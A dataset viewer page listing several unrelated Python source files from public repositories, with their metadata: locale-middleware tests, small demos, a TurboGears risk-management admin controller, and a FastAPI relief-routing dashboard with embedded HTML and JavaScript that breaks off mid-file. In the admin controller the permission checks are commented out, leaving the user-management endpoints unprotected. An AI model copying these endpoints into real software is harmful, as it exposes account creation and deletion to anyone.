xszheng2020/the_stack_dedup_python_hits_7 · Datasets at Hugging Face

64084a8397e6206d79d3b76e158020320dd77f2b

1,887

py

Python

tests/test_middleware.py

bigbag/starlette-i18n

b185ceb77a7d7d0035953a2569d2b64ea4748494

[ "Apache-2.0" ]

7

2021-05-02T00:03:33.000Z

2022-01-18T22:06:50.000Z

tests/test_middleware.py

bigbag/starlette-i18n

b185ceb77a7d7d0035953a2569d2b64ea4748494

[ "Apache-2.0" ]

8

2021-05-10T23:29:19.000Z

2022-02-06T15:19:27.000Z

tests/test_middleware.py

bigbag/starlette-i18n

b185ceb77a7d7d0035953a2569d2b64ea4748494

[ "Apache-2.0" ]

4

2021-05-12T06:16:12.000Z

2021-07-27T17:09:45.000Z

class TestLocaleFromHeader: def test_success_if_default_locale(self, client): response = client.get("/locale/", headers={"Accept-Language": "en"}) assert response.status_code == 200 assert response.text == "en" def test_success_if_custom_locale(self, client): response = client.get("/locale/", headers={"Accept-Language": "ru"}) assert response.status_code == 200 assert response.text == "ru" def test_success_if_not_support_locale(self, client): response = client.get("/locale/", headers={"Accept-Language": "es"}) assert response.status_code == 200 assert response.text == "en" def test_success_if_empty_locale(self, client): response = client.get("/locale/") assert response.status_code == 200 assert response.text == "en" def test_with_full_header(self, client): response = client.get("/locale/", headers={"Accept-Language": "es-BR,es;q=0.5,ru;q=0.4"}) assert response.status_code == 200 assert response.text == "ru" class TestLocaleFromCookie: def test_success_if_default_locale(self, client): response = client.get("/locale/", cookies={"Language": "en"}) assert response.status_code == 200 assert response.text == "en" def test_success_if_custom_locale(self, client): response = client.get("/locale/", cookies={"Language": "ru"}) assert response.status_code == 200 assert response.text == "ru" def test_success_if_not_support_locale(self, client): response = client.get("/locale/", cookies={"Language": "es"}) assert response.status_code == 200 assert response.text == "en" def test_success_if_empty_locale(self, client): response = client.get("/locale/") assert response.status_code == 200 assert response.text == "en"

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null

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0

1

0

11

643c088e0ada9c99c9eb07359405468b848ce8e7

353

py

Python

format_specifiers.py

pavaniuriti2000/python_files

89e3c6bd95af6756b49bc8ee1fa74f900ea6c681

[ "MIT" ]

null

format_specifiers.py

pavaniuriti2000/python_files

89e3c6bd95af6756b49bc8ee1fa74f900ea6c681

[ "MIT" ]

null

format_specifiers.py

pavaniuriti2000/python_files

89e3c6bd95af6756b49bc8ee1fa74f900ea6c681

[ "MIT" ]

null

#format specifiers print("I have {0:d} cats".format(6)) print("I have {0:03d} cats".format(6)) print("I have {0:3d} cats".format(6)) print("I have {3:d} cats".format(6,3,4,7)) print("I have {1:d} cats".format(6,3,4,7)) print("I have {1:04d} cats".format(6,3,4,7)) print("I have {1:f} cats".format(6,3,4,7)) print("I have {2:.2f} cats".format(6,3,4,7))

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7

ff4a05fec75c8339a5f8d075b74363c0caa88bb9

159

py

Python

assertionchain/__init__.py

justiniso/AssertionChain

8578447904beeae4e18b9390055ac364deef10ca

[ "MIT" ]

null

assertionchain/__init__.py

justiniso/AssertionChain

8578447904beeae4e18b9390055ac364deef10ca

[ "MIT" ]

1

2015-04-06T02:37:24.000Z

2015-04-06T02:42:11.000Z

assertionchain/__init__.py

justiniso/AssertionChain

8578447904beeae4e18b9390055ac364deef10ca

[ "MIT" ]

null

__version__ = '0.1.1' # Provide an easier import so users can import via "from assertionchain import AssertionChain" from assertionchain import AssertionChain

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null

0

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0

1

0

7

ff59abb5bedaad448c794b82c75e8655c6a1501f

180

py

Python

src/pygame-demo/snek/core/eventlistener.py

Adam-Jimenez/python-demo

c1d222d88f62a5b6bfdfa01bbbc9e2fdce5a1d6b

[ "MIT" ]

null

src/pygame-demo/snek/core/eventlistener.py

Adam-Jimenez/python-demo

c1d222d88f62a5b6bfdfa01bbbc9e2fdce5a1d6b

[ "MIT" ]

null

src/pygame-demo/snek/core/eventlistener.py

Adam-Jimenez/python-demo

c1d222d88f62a5b6bfdfa01bbbc9e2fdce5a1d6b

[ "MIT" ]

null

class EventListener: def arrow_up(self): pass def arrow_down(self): pass def arrow_left(self): pass def arrow_right(self): pass

12.857143

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0.561111

22

180

4.409091

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0.329897

0.340206

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0

0.366667

180

13

27

13.846154

0.850877

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0.444444

false

0.444444

0

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null

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0

null

0

1

0

1

0

1

0

7

ff5e2da8c633df0d8ce55f4749cde142a24fb90b

308

py

Python

codewars/6kyu/amrlotfy77/up AND down/test_bench.py

ictcubeMENA/Training_one

dff6bee96ba42babe4888e5cf9a9448a6fd93fc3

[ "MIT" ]

null

codewars/6kyu/amrlotfy77/up AND down/test_bench.py

ictcubeMENA/Training_one

dff6bee96ba42babe4888e5cf9a9448a6fd93fc3

[ "MIT" ]

2

2019-01-22T10:53:42.000Z

2019-01-31T08:02:48.000Z

codewars/6kyu/amrlotfy77/up AND down/test_bench.py

ictcubeMENA/Training_one

dff6bee96ba42babe4888e5cf9a9448a6fd93fc3

[ "MIT" ]

13

2019-01-22T10:37:42.000Z

2019-01-25T13:30:43.000Z

from main import arrange,arrange1 def test1(benchmark): assert benchmark(arrange,"who hit retaining The That a we taken")== "who RETAINING hit THAT a THE we TAKEN" def test(benchmark): assert benchmark(arrange, "who hit retaining The That a we taken") == "who RETAINING hit THAT a THE we TAKEN"

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308

4.612245

0.367347

0.088496

0.212389

0.274336

0.80531

0

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0.185065

308

9

114

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0.89243

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0.478964

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0.4

false

0

0.2

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null

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0

1

0

null

0

1

0

1

0

11

ffa5a273f4feb3fb12c0c10a8526bba9d7640131

20,597

py

Python

comcenterrisk/risk/controllers/adminriskmanagecontroller.py

tongpa/bantak_program

66edfe225e8018f65c9c5a6cd7745c17ba557bd5

[ "Apache-2.0" ]

null

comcenterrisk/risk/controllers/adminriskmanagecontroller.py

tongpa/bantak_program

66edfe225e8018f65c9c5a6cd7745c17ba557bd5

[ "Apache-2.0" ]

null

comcenterrisk/risk/controllers/adminriskmanagecontroller.py

tongpa/bantak_program

66edfe225e8018f65c9c5a6cd7745c17ba557bd5

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- from tg import TGController from tg import expose, flash, require, url, lurl, request, redirect, validate, session, response from tg.i18n import ugettext as _, lazy_ugettext as l_, set_lang,get_lang from tgext.pluggable import app_model #from comcenter.model import User, UserRiskSection,RiskManagement,LogviewReport,RiskSection, RiskTeam #from comcenter.model import SectionListTeam, RiskLevel, RiskTeamType, RiskProgramDetail, RiskProgramGroup, RiskStatus, RiskResponsible from datetime import datetime from comcenter.controllers.util.utility import Utility #from comcenter.controllers.util.exportexcel.risktoexcel import RiskToExcel import logging; import sys; log = logging.getLogger(__name__); #from repoze.what.predicates import has_permission; from tg import predicates from tgext.admin import AdminController; import logging; import sys; log = logging.getLogger(__name__); __all__ = ['AdminRiskManageController'] class AdminRiskManageController(AdminController): #allow_only = has_permission('manage'); #allow_only = predicates.has_permission('manage',msg='Only administrators can access.') #.not_anonymous() # def __init__(self): self.util = Utility(); self.defaultyear = 2557; @expose('risk.templates.risk.admin.index') def index(self,**kw): reload(sys); sys.setdefaultencoding("utf-8"); if not request.identity: login_counter = request.environ.get('repoze.who.logins', 0) + 1 redirect('/login', params=dict(came_from='/', __logins=login_counter)) return dict(page='admin' ); @expose('risk.templates.risk.admin.sectionmanage') def sectionmanage(self,**kw): reload(sys); sys.setdefaultencoding("utf-8"); if not request.identity: login_counter = request.environ.get('repoze.who.logins', 0) + 1 redirect('/login', params=dict(came_from='/', __logins=login_counter)) return dict(page='admin' ); @expose('risk.templates.risk.admin.sectionteams') def sectionteams(self,**kw): reload(sys); sys.setdefaultencoding("utf-8"); if not request.identity: login_counter = request.environ.get('repoze.who.logins', 0) + 1 redirect('/login', params=dict(came_from='/', __logins=login_counter)) return dict(page='admin'); @expose('risk.templates.risk.admin.programs') def programs(self,**kw): reload(sys); sys.setdefaultencoding("utf-8"); if not request.identity: login_counter = request.environ.get('repoze.who.logins', 0) + 1 redirect('/login', params=dict(came_from='/', __logins=login_counter)) return dict(page='admin'); @expose('risk.templates.risk.admin.risklevel') def riskLevel(self,**kw): reload(sys); sys.setdefaultencoding("utf-8"); if not request.identity: login_counter = request.environ.get('repoze.who.logins', 0) + 1 redirect('/login', params=dict(came_from='/', __logins=login_counter)) return dict(page='admin'); @expose('risk.templates.risk.admin.usermanage') def usermanage(self,**kw): reload(sys); sys.setdefaultencoding("utf-8"); if not request.identity: login_counter = request.environ.get('repoze.who.logins', 0) + 1 redirect('/login', params=dict(came_from='/', __logins=login_counter)) return dict(page='admin'); @expose('json') def saveSection(self,**kw): reload(sys); sys.setdefaultencoding("utf-8"); self.message ="sucess"; self.success = True; try: log.info("create section"); log.info(kw); self.section_id = self.util.isValue(kw.get('risk_section_id')); self.section_name = self.util.isValue(kw.get('detail_section')); if(self.section_id is not None): log.info("update section"); section = app_model.RiskSection.listBySectionbyId(self.section_id); section.description = self.section_name; else: section = app_model.RiskSection(); log.info("add section"); section.description = self.section_name; section.save(); print self.section_name except Exception, exception: log.info("error : " + str(exception)); print exception; self.message ="fail"; self.success = False; log.info("create risk"); log.info(kw); return dict(success=self.success, message = self.message); @expose('json') def deleteSection(self,**kw): reload(sys); sys.setdefaultencoding("utf-8"); self.message ="sucess"; self.success = True; try: log.info("delete section"); log.info(kw); self.section_id = self.util.isValue(kw.get('risk_section_id')); self.section_name = self.util.isValue(kw.get('detail_section')); if(self.section_id is not None): log.info("update section"); section = app_model.RiskSection.listBySectionbyId(self.section_id); section.remove(); except Exception, exception: log.info("error : " + str(exception)); print exception; self.message ="fail"; self.success = False; log.info("delete section"); log.info(kw); return dict(success=self.success, message = self.message); @expose('json') def saveSectionTeam(self,**kw): reload(sys); sys.setdefaultencoding("utf-8"); self.message ="sucess"; self.success = True; try: log.info("create team"); log.info(kw); self.section_team_id = self.util.isValue(kw.get('id')); self.section_team_name = self.util.isValue(kw.get('name')); self.section_team_type = self.util.isValue(kw.get('type')); if(self.section_team_id is not None): log.info("update team"); riskteam = app_model.RiskTeam.getById(self.section_team_id); riskteam.description = self.section_team_name; riskteam.risk_team_type_id = self.section_team_type; else: riskteam = app_model.RiskTeam(); log.info("add team"); riskteam.description = self.section_team_name; riskteam.risk_team_type_id = self.section_team_type; riskteam.save(); except Exception, exception: log.info("error : " + str(exception)); print exception; self.message ="fail"; self.success = False; log.info("create risk"); log.info(kw); return dict(success=self.success, message = self.message); @expose('json') def deleteSectionTeam(self,**kw): reload(sys); sys.setdefaultencoding("utf-8"); self.message ="sucess"; self.success = True; try: log.info("delete section"); log.info(kw); self.section_team_id = self.util.isValue(kw.get('id')); self.section_team_name = self.util.isValue(kw.get('name')); self.section_team_type = self.util.isValue(kw.get('type')); if(self.section_team_id is not None): log.info("delete section team"); section = app_model.RiskTeam.getById(self.section_team_id); section.remove(); except Exception, exception: log.info("error : " + str(exception)); print exception; self.message ="fail"; self.success = False; log.info("delete section team"); log.info(kw); return dict(success=self.success, message = self.message); @expose('json') def savePrograms(self,**kw): reload(sys); sys.setdefaultencoding("utf-8"); self.message ="sucess"; self.success = True; try: log.info("create team"); log.info(kw); self.programs_id = self.util.isValue(kw.get('id')); self.programs_name = self.util.isValue(kw.get('name')); self.programs_type = self.util.isValue(kw.get('type')); if(self.programs_id is not None): log.info("update team"); riskteam = app_model.RiskProgramDetail.getById(self.programs_id); riskteam.description = self.programs_name; riskteam.risk_program_group_id = self.programs_type; else: riskteam = app_model.RiskProgramDetail(); log.info("add team"); riskteam.description = self.programs_name; riskteam.risk_program_group_id = self.programs_type; riskteam.save(); except Exception, exception: log.info("error : " + str(exception)); print exception; self.message ="fail"; self.success = False; log.info("create risk"); log.info(kw); return dict(success=self.success, message = self.message); @expose('json') def deletePrograms(self,**kw): reload(sys); sys.setdefaultencoding("utf-8"); self.message ="sucess"; self.success = True; try: log.info("delete section"); log.info(kw); self.programs_id = self.util.isValue(kw.get('id')); self.programs_name = self.util.isValue(kw.get('name')); self.programs_type = self.util.isValue(kw.get('type')); if(self.programs_id is not None): log.info("delete section team"); section = app_model.RiskProgramDetail.getById(self.programs_id); section.remove(); except Exception, exception: log.info("error : " + str(exception)); print exception; self.message ="fail"; self.success = False; log.info("delete section team"); log.info(kw); return dict(success=self.success, message = self.message); @expose('json') def saveRiskLevel(self,**kw): reload(sys); sys.setdefaultencoding("utf-8"); self.message ="sucess"; self.success = True; try: log.info("create Risk Level"); log.info(kw); self.id = self.util.isValue(kw.get('id')); self.name = kw.get('name'); self.type = self.util.isValue(kw.get('type')); self.eff = self.util.isValue(kw.get('eff')); if(self.id is not None): log.info("update Risk Level"); obj = app_model.RiskLevel.getById(self.id); log.info( "name : " + str(self.name)); obj.description = self.name; obj.effective = self.eff; obj.risk_program_group_id = self.type; if self.type == 1: obj.is_clinical = self.type; obj.is_physical = 0; else: obj.is_clinical = self.type; obj.is_physical = 1; else: obj = app_model.RiskLevel(); log.info("add Risk Level"); obj.description = self.name; obj.effective = self.eff; obj.risk_program_group_id = self.type; if self.type == 1: obj.is_clinical = self.type; obj.is_physical = 0; else: obj.is_clinical = self.type; obj.is_physical = 1; obj.save(); except Exception, exception: log.info("error : " + str(exception)); print exception; self.message ="fail"; self.success = False; log.info("create risk"); log.info(kw); return dict(success=self.success, message = self.message); @expose('json') def deleteRiskLevel(self,**kw): reload(sys); sys.setdefaultencoding("utf-8"); self.message ="sucess"; self.success = True; try: log.info("delete risklevel"); log.info(kw); self.id = self.util.isValue(kw.get('id')); self.name = self.util.isValue(kw.get('name')); self.type = self.util.isValue(kw.get('type')); self.eff = self.util.isValue(kw.get('eff')); if(self.id is not None): log.info("delete risklevel"); obj = app_model.RiskLevel.getById(self.id); obj.remove(); except Exception, exception: log.info("error : " + str(exception)); print exception; self.message ="fail"; self.success = False; log.info("delete risklevel"); log.info(kw); return dict(success=self.success, message = self.message); @expose('json') def saveUser(self,**kw): reload(sys); sys.setdefaultencoding("utf-8"); self.message ="sucess"; self.success = True; try: log.info("create Risk Level"); log.info(kw); self.id = self.util.isValue(kw.get('id')); self.name = self.util.isValue(kw.get('name')); self.email = self.util.isValue(kw.get('email')); self.display = self.util.isValue(kw.get('display')); self.group_id = self.util.isValue(kw.get('group_id')); self.password = self.util.isValue(kw.get('password')); self.verify_password = self.util.isValue(kw.get('verify_password')); if(self.id is not None): log.info("update Risk Level"); obj = app_model.User.getById(self.id); obj.user_name = self.name; obj.email_address = self.email; obj.display_name = self.display; if(self.password is not None and self.verify_password is not None and self.password == self.verify_password): obj._set_password(self.password); group = app_model.Group.updateUserGroup(self.id,self.group_id); log.info("update group_user : " + str(group)); else: #check User obj = app_model.User.by_user_name(self.name); if obj is None: obj = app_model.User.by_email_address(self.email); if obj is None: obj = User(); log.info("add Risk Level"); obj.user_name = self.name; obj.email_address = self.email; obj.display_name = self.display; if(self.password is not None and self.verify_password is not None and self.password == self.verify_password): obj._set_password(self.password); obj.save(); group = app_model.Group.insertUserGroup(obj.user_id,self.group_id); log.info("insert group_user : " + str(group)); else: self.message = "email :" + self.email + " มีในระบบแล้ว"; self.success = False; else: self.message = "user :" + self.name + " มีในระบบแล้ว"; self.success = False; except Exception, exception: log.info("error : " + str(exception)); print exception; self.message ="fail"; self.success = False; log.info("create risk"); log.info(kw); return dict(success=self.success, message = self.message); @expose('json') def deleteUser(self,**kw): reload(sys); sys.setdefaultencoding("utf-8"); self.message ="sucess"; self.success = True; try: log.info("delete risklevel"); log.info(kw); self.id = self.util.isValue(kw.get('id')); self.name = self.util.isValue(kw.get('name')); self.email = self.util.isValue(kw.get('email')); self.display = self.util.isValue(kw.get('display')); self.group_id = self.util.isValue(kw.get('group_id')); self.password = self.util.isValue(kw.get('password')); self.verify_password = self.util.isValue(kw.get('verify_password')); if(self.id is not None): log.info("delete User"); obj = app_model.User.getById(self.id); obj.remove(); log.info("delete User group"); app_model.Group.removeUserGroup(self.id); except Exception, exception: log.info("error : " + str(exception)); print exception; self.message ="fail"; self.success = False; log.info("delete risklevel"); log.info(kw); return dict(success=self.success, message = self.message); @expose('json') def listUser(self,**kw): #users = DBSession.query(User).all(); groups = app_model.DBSession.query(app_model.Group).all(); self.list = []; for group in groups: for guser in group.users: self.list.append({'id' : guser.user_id , 'name' : guser.user_name, 'display' : guser.display_name, 'email' : guser.email_address, 'group_id' : group.group_id, 'group' : group.group_name }); return dict(root = self.list,total=str(len(self.list))); @expose('json') def listGroupUser(self,**kw): groups = app_model.DBSession.query(app_model.Group).all(); self.listgroup = []; for group in groups: self.listgroup.append({'id' : group.group_id , 'name' : group.group_name }); return dict(root = self.listgroup,total=str(len(self.listgroup))); @expose('comcenter.templates.risk.admin.admin2') def admin2(self,**kw): return dict(page='risk' ); @expose('comcenter.templates.risk.admin.admin3') def admin3(self,**kw): return dict(page='risk' ); @expose('comcenter.templates.risk.admin.admin4') def admin4(self,**kw): return dict(page='risk' );

36.584369

136

0.502161

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0.091086

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0.054728

0.062025

0.809092

0.781678

0.77162

0.749827

0.724583

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0

0.003675

0.379133

20,597

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36.584369

0.789021

0.027625

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0.804762

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null

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1

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null

0

1

0

8

ffad4bee309be0de0115e543704f215741feeec9

61,843

py

Python

main.py

harsh-vt/IITPKD

80c72b4281df86c261dca0537346b0d8fb64adc9

[ "BSD-3-Clause" ]

null

main.py

harsh-vt/IITPKD

80c72b4281df86c261dca0537346b0d8fb64adc9

[ "BSD-3-Clause" ]

null

main.py

harsh-vt/IITPKD

80c72b4281df86c261dca0537346b0d8fb64adc9

[ "BSD-3-Clause" ]

null

import json import pandas as pd from fastapi import FastAPI from pydantic import BaseModel from fastapi.responses import HTMLResponse, JSONResponse from fastapi.staticfiles import StaticFiles from typing import Optional main_html_content = """ <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Find My Route</title> <link href="https://fonts.googleapis.com/css2?family=Roboto&display=swap" rel="stylesheet">  </head> <style> .main { padding: 10px; font-size: 20px; /* Increased text to enable scrolling */ padding: 0px 10px; min-height: 100%; } body { height: 97%; min-height: 97%; font-family: 'Roboto', sans-serif; background: #d9eeff; overflow: hidden; } .controls { width: 20%; padding: 12px 20px; margin: 8px 0; box-sizing: border-box; border-radius: 25px; } .controls:focus { border: 4px solid #555; } #submit{ background-color: skyblue; } .top_banner { text-align: center; } #main-data-table{ margin-left: auto; margin-right: auto; } .flex-container { min-height: 80%; display: flex; border-radius: 25px; text-align: center; justify-content: center; } .flex-child { flex: 1; align-self: center; border-radius: 25px; margin-right: 10px; } .flex-container-second { min-height: 80%; display: flex; border-radius: 25px; text-align: center; justify-content: center; flex-direction: column; } .flex-first-child-main { flex: 1; align-self: center; border-radius: 25px; margin-right: 10px; overflow: auto; height: 200px; } .flex-first-child-main thead th { position: sticky; top: 0; z-index: 1; } .flex-first-child-second { flex: auto; align-self: center; border-radius: 25px; margin-right: 10px; overflow: auto; height: 200px; } .flex-first-child-second thead th { position: sticky; top: 0; z-index: 1; } table { border-collapse: collapse; width: 100%; } th, td { padding: 2px 30px; } th { background:#eee; } .second_child{ border-radius: 25px; width: 200px; flex: auto; height: 500px; } #map { align-self: center; border-radius: 25px; height: 500px; width: 100%; flex: auto; flex-basis: 0; flex-grow: 4; } .second_col_legend{ align-self: center; border-radius: 25px; width: 100%; margin-right: 20px; } </style> <body> <div class="top_banner"> <a href="/" style="color: black; text-decoration: none;"><h1>Dashboard</h1></a> </div> <div> <input id="dmnd" class="controls" type="number" placeholder="Demand node number" /> <input id="reli" class="controls" type="number" placeholder="Relief point number" /> <input id="number" class="controls" type="number" placeholder="Enter number of people" /> <button id="submit" type="submit" class="controls">Submit</button> <script type="text/javascript"> var myHeaders = new Headers(); myHeaders.append('pragma', 'no-cache'); myHeaders.append('cache-control', 'no-cache'); var myInit = { method: 'GET', headers: myHeaders, }; fetch("../Data/display_data", myInit) .then(function (response) { return response.json(); }).then(function (apiJsonData) { renderDataInTheTable(apiJsonData); }) function renderDataInTheTable(display_data) { const mytable = document.getElementById("main-data-table"); for(var k in display_data) { let newRow = document.createElement("tr"); for(var x in display_data[k]){ let cell = document.createElement("td"); cell.innerText = display_data[k][x]; newRow.appendChild(cell); } mytable.appendChild(newRow); } } document.getElementById("submit").onclick = function () { var requestOptions = { method: 'POST', redirect: 'follow' }; fetch(baseUrl+"tableUpdate/?number="+document.getElementById("number").value+"&dmnd="+document.getElementById("dmnd").value+"&reli="+document.getElementById("reli").value, requestOptions) .then(response => response.json()) .then(result => { console.log(result), alert("Your request to add "+document.getElementById('number').value+" people in relief point "+document.getElementById('reli').value+" from demand node "+document.getElementById('dmnd').value+" has been sucessfully processed.\\nServer response: "+ result["msg"]); }) .catch(error => console.log('error', error)); }; </script> </div> <div class="flex-container"> <div class="flex-child"> <table id = "main-data-table"> <tr> <th>Reliability Value</th> <th>Population Served</th> <th>Population Unserved</th> <th>Demand Nodes</th> <th>Relief Points</th> </tr> </table> <p> Note: Negative values in column 'Population Unserved' shows that there is space to accomodate that much number of people </p> </div> <div class="second_child"> <div id="map"> </div> <script src="https://maps.googleapis.com/maps/api/js?key=KEY" type="text/javascript"> </script> <div class = "second_col_legend"><table> <tr> <td><canvas id="myCanvas"> </canvas></td> <td><canvas id="myCanvas2"> </canvas></td> </tr> <tr> <td style="text-align:center; vertical-align:top;"><h4>Relief Point</h4></td> <td style="text-align:center; vertical-align:top;"><h4>Demand Point</h4></td> </tr> </table> <script> //ctx.arc(x,y,radius,startAngle,endAngle, anticlockwise); var c = document.getElementById("myCanvas"); var ctx = c.getContext("2d"); ctx.canvas.width = "100" ctx.canvas.height = "50" ctx.beginPath() ctx.arc(c.width/2, c.height/2, c.width/4, 0, Math.PI*2, false); // outer (filled) ctx.arc(c.width/2, c.height/2, c.width/5, 0, Math.PI*2, true); // inner (unfills it) ctx.fill(); ctx.font = "20px Arial"; ctx.fillText("N", c.width/2.35, c.height/1.55); var c2 = document.getElementById("myCanvas2"); var ctx2 = c2.getContext("2d"); ctx2.canvas.width = "100" ctx2.canvas.height = "50" ctx2.beginPath() ctx2.arc(c2.width/2, c2.height/2, c2.width/4, 0, Math.PI*2, false); // inner (unfills it) ctx2.fill(); ctx2.font = "20px Arial"; ctx2.fillStyle = "white"; ctx2.fillText("N", c2.width/2.35, c2.height/1.55); </script> </div> </div> </div> <script> var baseUrl = window.location.protocol+"//"+window.location.hostname+":"+window.location.port+"/" const myloc = { lat: 27.302524795918504, lng: 88.59751338243387 }; var Locations = [ ['1', 'Demand', 27.302524795918504, 88.59751338243387, 'setdemand/?dmnd=1'], ['2', 'Demand', 27.309941653731695, 88.59884377512124, 'setdemand/?dmnd=2'], ['3', 'Demand', 27.30582333235349, 88.58828660114838, 'setdemand/?dmnd=3'], ['4', 'Demand', 27.310361103820796, 88.60686894416531, 'setdemand/?dmnd=4'], ['5', 'Demand', 27.293448382503307, 88.5876643286917, 'setdemand/?dmnd=5'], ['6', 'Demand', 27.30007442244496, 88.60322313404959, 'setdemand/?dmnd=6'], ['7', 'Demand', 27.290731480800943, 88.59953239709199, 'setdemand/?dmnd=7'], ['8', 'Demand',27.29443927704333, 88.60976569341749, 'setdemand/?dmnd=8'], ['1', 'Relief', 27.29908312298845, 88.59850259606205, 'setrelief/?reli=1'], ['2', 'Relief', 27.316052526734996, 88.60438310868761, 'setrelief/?reli=2'], ['3', 'Relief', 27.31059938203764, 88.58867470419628, 'setrelief/?reli=3'], ['4', 'Relief', 27.308425729881044, 88.60326660562897, 'setrelief/?reli=4'], ['5', 'Relief', 27.296108563399272, 88.59755852842592, 'setrelief/?reli=5'], ['6', 'Relief', 27.29565087437993, 88.60086281523137, 'setrelief/?reli=6'], ['7', 'Relief', 27.291570492233568, 88.59506962480899, 'setrelief/?reli=7'], ['8', 'Relief', 27.288786566493226, 88.59927488945574, 'setrelief/?reli=8'], ]; const map = new google.maps.Map(document.getElementById('map'), { zoom: 14, center: myloc, }); var infowindow = new google.maps.InfoWindow(); var marker, i; var DemandIcon = { path: google.maps.SymbolPath.CIRCLE, fillOpacity: 1, fillColor: '#ffffff', strokeOpacity: 1, strokeWeight: 1, strokeColor: '#333', scale: 12 }; var ReliefIcon = { path: google.maps.SymbolPath.CIRCLE, fillOpacity: 1, fillColor: '#000000', strokeOpacity: 1, strokeWeight: 1, strokeColor: '#333', scale: 12 }; for (i = 0; i < Locations.length; i++) { if (Locations[i][1] == "Demand"){ marker = new google.maps.Marker({ position: new google.maps.LatLng(Locations[i][2], Locations[i][3]), map: map, icon: ReliefIcon, url: baseUrl.concat(Locations[i][4]), label: {color: '#ffffff', fontSize: '12px', fontWeight: '600', text: Locations[i][0]} }); } else if (Locations[i][1] == "Relief"){ marker = new google.maps.Marker({ position: new google.maps.LatLng(Locations[i][2], Locations[i][3]), map: map, icon: DemandIcon, url: baseUrl.concat(Locations[i][4]), label: {color: '#000000', fontSize: '12px', fontWeight: '600', text: Locations[i][0]} }); } google.maps.event.addListener(marker, 'click', function() { window.location.href = this.url; window.open(marker.url, '_blank'); }); } </script> </body> </html> """ demand_html_content = """ <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Find My Route</title> <link href="https://fonts.googleapis.com/css2?family=Roboto&display=swap" rel="stylesheet">  </head> <style> html { height: 100% } .main { padding: 10px; font-size: 20px; /* Increased text to enable scrolling */ padding: 0px 10px; min-height: 100%; } body { height: 97%; min-height: 97%; font-family: 'Roboto', sans-serif; background: #d9eeff; overflow: hidden; } .controls { width: 20%; padding: 12px 20px; margin: 8px 0; box-sizing: border-box; border-radius: 25px; } .controls:focus { border: 4px solid #555; } #submit{ background-color: skyblue; } .top_banner { text-align: center; } #main-data-table{ margin-left: auto; margin-right: auto; } .flex-container { min-height: 80%; display: flex; border-radius: 25px; text-align: center; justify-content: center; } .flex-child { flex: 1; align-self: center; border-radius: 25px; margin-right: 10px; } .flex-container-second { min-height: 80%; display: flex; border-radius: 25px; text-align: center; justify-content: center; flex-direction: column; } .flex-first-child-main { flex: 1; align-self: center; border-radius: 25px; margin-right: 10px; overflow: auto; height: 200px; } .flex-first-child-main thead th { position: sticky; top: 0; z-index: 1; } .flex-first-child-second { flex: auto; align-self: center; border-radius: 25px; margin-right: 10px; overflow: auto; height: 200px; } .flex-first-child-second thead th { position: sticky; top: 0; z-index: 1; } table { border-collapse: collapse; width: 100%; } th, td { padding: 2px 30px; } th { background:#eee; } .second_child{ border-radius: 25px; width: 200px; flex: auto; height: 500px; } #map { align-self: center; border-radius: 25px; height: 500px; width: 100%; flex: auto; flex-basis: 0; flex-grow: 4; } .second_col_table{ align-self: center; border-radius: 25px; margin-right: 20px; } .second_col_legend{ align-self: center; border-radius: 25px; width: 100%; margin-right: 20px; } </style> <body> <div class="top_banner"> <a href="/" style="color: black; text-decoration: none;"><h1>Dashboard</h1></a> </div> <div> <input id="dmnd" class="controls" type="number" placeholder="Demand node number" /> <input id="reli" class="controls" type="number" placeholder="Relief point number" /> <input id="number" class="controls" type="number" placeholder="Enter number of people" /> <button id="submit" type="submit" class="controls">Submit</button> </div> <div class="flex-container"> <div class="flex-child"> <div class="flex-container-second"> <div class="flex-first-child-main"> <h3>Main table</h3> <table id = "main-data-table"> <thead> <tr> <th>Reliability<br>Value</th> <th>Population<br>Served</th> <th>Population<br>Unserved</th> <th>Demand<br>Nodes</th> <th>Relief<br>Points</th> </tr> </thead> </table> <br> </div> <div class="flex-first-child-second"> <h3>Extra table</h3> <table id = "second-data-table"> <thead> <tr> <th>Reliability<br>Value</th> <th>Population<br>Served</th> <th>Population<br>Unserved</th> <th>Demand<br>Nodes</th> <th>Relief<br>Points</th> </tr> </thead> </table> </div> <p> Note: Negative values in column 'Population Unserved' shows that there is space to accomodate that much number of people </p> </div> </div> <div class="second_child"> <div id="map"> </div> <script src="https://maps.googleapis.com/maps/api/js?key=KEY" type="text/javascript"> </script> <div class = "second_col_legend"><table> <tr> <td><canvas id="myCanvas"> </canvas></td> <td><canvas id="myCanvas2"> </canvas></td> </tr> <tr> <td style="text-align:center; vertical-align:top;"><h4>Relief Point</h4></td> <td style="text-align:center; vertical-align:top;"><h4>Demand Point</h4></td> </tr> </table> <script> //ctx.arc(x,y,radius,startAngle,endAngle, anticlockwise); var c = document.getElementById("myCanvas"); var ctx = c.getContext("2d"); ctx.canvas.width = "100" ctx.canvas.height = "50" ctx.beginPath() ctx.arc(c.width/2, c.height/2, c.width/4, 0, Math.PI*2, false); // outer (filled) ctx.arc(c.width/2, c.height/2, c.width/5, 0, Math.PI*2, true); // inner (unfills it) ctx.fill(); ctx.font = "20px Arial"; ctx.fillText("N", c.width/2.35, c.height/1.55); var c2 = document.getElementById("myCanvas2"); var ctx2 = c2.getContext("2d"); ctx2.canvas.width = "100" ctx2.canvas.height = "50" ctx2.beginPath() ctx2.arc(c2.width/2, c2.height/2, c2.width/4, 0, Math.PI*2, false); // inner (unfills it) ctx2.fill(); ctx2.font = "20px Arial"; ctx2.fillStyle = "white"; ctx2.fillText("N", c2.width/2.35, c2.height/1.55); </script> </div> </div> </div> <script type="text/javascript"> var myHeaders = new Headers(); myHeaders.append('pragma', 'no-cache'); myHeaders.append('cache-control', 'no-cache'); var myInit = { method: 'GET', headers: myHeaders, }; const params = new URLSearchParams(window.location.search) for (const param of params) { window[param[0]] = [param[1]] } document.getElementById('dmnd').value = dmnd; reli = []; fetch("../Data/display_data", myInit) .then(function (response) { return response.json(); }).then(function (apiJsonData) { renderDataInTheTable(apiJsonData); setMarkers(); }) function renderDataInTheTable(display_data) { const mytable = document.getElementById("main-data-table"); const mytable2 = document.getElementById("second-data-table"); let newBody = document.createElement("tbody"); let newBody2 = document.createElement("tbody"); mytable.appendChild(newBody) mytable2.appendChild(newBody2) for(var k in display_data) { let newRow = document.createElement("tr"); let newRow2 = document.createElement("tr"); if (display_data[k][3] == dmnd){ for(var x in display_data[k]){ let cell2 = document.createElement("td"); cell2.innerText = display_data[k][x]; newRow2.appendChild(cell2); } reli = 